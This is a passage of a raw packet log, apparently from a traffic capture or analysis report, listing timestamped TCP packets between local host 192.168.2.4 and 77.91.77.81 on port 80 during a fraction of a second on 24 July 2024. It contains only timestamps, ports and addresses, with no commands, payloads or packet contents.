Jul 24, 2024 02:39:12.458221912 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.458226919 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.458236933 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.458246946 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.458252907 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.458261013 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.458272934 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.458291054 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.458362103 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.458400965 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.519306898 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.519376040 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.519428015 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.519464016 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.519474983 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.519496918 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.519509077 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.519534111 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.519543886 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.519567013 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.519577026 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.519608974 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.519651890 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.519692898 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.519723892 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.519768000 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.519774914 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.519815922 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.519815922 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.519857883 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.519861937 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.519895077 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.519906044 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.519932032 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.519937992 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.519963980 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.519973040 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.519998074 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.520003080 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.520028114 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.520040035 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.520060062 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.520068884 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.520096064 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.520102978 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.520128965 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.520136118 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.520162106 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.520170927 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.520194054 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.520200968 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.520227909 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.520236015 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.520263910 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.520271063 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.520304918 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.538306952 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.538382053 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.538851976 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.538897038 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.538932085 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.538965940 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.539000988 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.539016962 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.539016962 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.539016962 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.539016962 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.539032936 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.539052963 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.539067030 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.539081097 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.539098978 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.539110899 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.539132118 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.539144039 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.539165974 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.539175034 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.539207935 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.539201021 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.539257050 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.539278984 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.539324999 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.539333105 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.539375067 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.539407969 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.539442062 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.539458990 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.539509058 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.539515018 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.539549112 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.539555073 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.539581060 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.539591074 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.539616108 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.539647102 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.539650917 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.539654970 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.539695024 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.539849043 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.539876938 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.539900064 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.539920092 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.539994955 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.540029049 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.540045977 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.540071011 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.540081978 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.540124893 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.540131092 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.540163994 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.540174007 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.540199995 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.540209055 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.540239096 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.540268898 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.540302038 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.540318966 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.540337086 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.540352106 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.540389061 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.540390015 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.540437937 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.540452957 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.540519953 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.540577888 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.540613890 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.540628910 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.540647984 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.540658951 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.540692091 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.540693045 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.540731907 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.540766954 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.540801048 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.540812969 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.540834904 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.540843010 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.540877104 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.540877104 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.540920973 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.540941954 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.540977955 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.540997982 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.541074038 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.541100979 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.541132927 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.541142941 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.541167974 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.541177988 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.541217089 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.541246891 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.541280985 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.541296005 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.541315079 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.541326046 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.541357040 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.541358948 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.541404009 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.541419983 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.541449070 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.541471958 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.541481018 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.541496038 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.541512966 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.541524887 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.541548967 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.541552067 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.541582108 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.541591883 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.541630983 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.541632891 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.541665077 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.541676998 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.541697979 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.541706085 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.541732073 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.541738987 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.541762114 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.541769981 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.541779041 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.541811943 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.541842937 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.541845083 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.541872978 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.541877031 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.541886091 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.541908979 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.541919947 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.541944027 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.541953087 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.541986942 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.547982931 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.548048019 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.548088074 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.548131943 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.548137903 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.548173904 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.548183918 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.548224926 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.548244953 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.548291922 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.548321962 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.548353910 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.548365116 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.548387051 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.548396111 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.548420906 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.548429966 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.548454046 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.548465014 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.548506975 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.548527002 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.548568964 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.548571110 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.548614979 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.548636913 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.548670053 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.548680067 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.548702955 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.548712015 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.548736095 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.548744917 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.548768044 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.548775911 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.548800945 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.548809052 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.548834085 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.548844099 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.548873901 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.548877954 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.548923016 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.548939943 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.548979998 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.549012899 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.549050093 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.549057961 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.549082041 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.549093008 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.549124956 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.549140930 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.549182892 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.549190044 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.549222946 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.549235106 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.549257040 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.549263954 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.549299002 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.617331028 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.617383957 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.617417097 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.617449999 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.617485046 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.617516994 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.617542028 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.617542028 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.617542028 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.617542028 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.617542028 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.617583036 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.617609978 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.617641926 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.617657900 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.617674112 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.617683887 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.617732048 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.617763996 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.617796898 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.617830038 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.617861032 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.617885113 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.617886066 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.617886066 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.617886066 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.617886066 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.617921114 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.617945910 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.617981911 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.617990971 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.618015051 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.618026972 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.618046999 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.618058920 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.618079901 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.618088961 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.618113041 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.618127108 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.618153095 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.618160009 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.618196011 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.629443884 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.629508018 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.629545927 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.629571915 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.629571915 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.629610062 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.629611015 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.629654884 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.629662037 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.629695892 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.629729033 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.629761934 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.629795074 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.629827023 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.629859924 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.629889011 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.629887104 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.629887104 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.629887104 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.629887104 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.629887104 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.629887104 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.629924059 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.629928112 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.629928112 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.629960060 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.629988909 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.630040884 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.630109072 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.630142927 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.630186081 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.630186081 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.630186081 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.630186081 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.630186081 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.630186081 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.630248070 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.630280972 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.630314112 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.630343914 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.630347967 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:12.630381107 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.630402088 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:12.632842064 CEST	80	49731	77.91.77.81	192.168.2.4
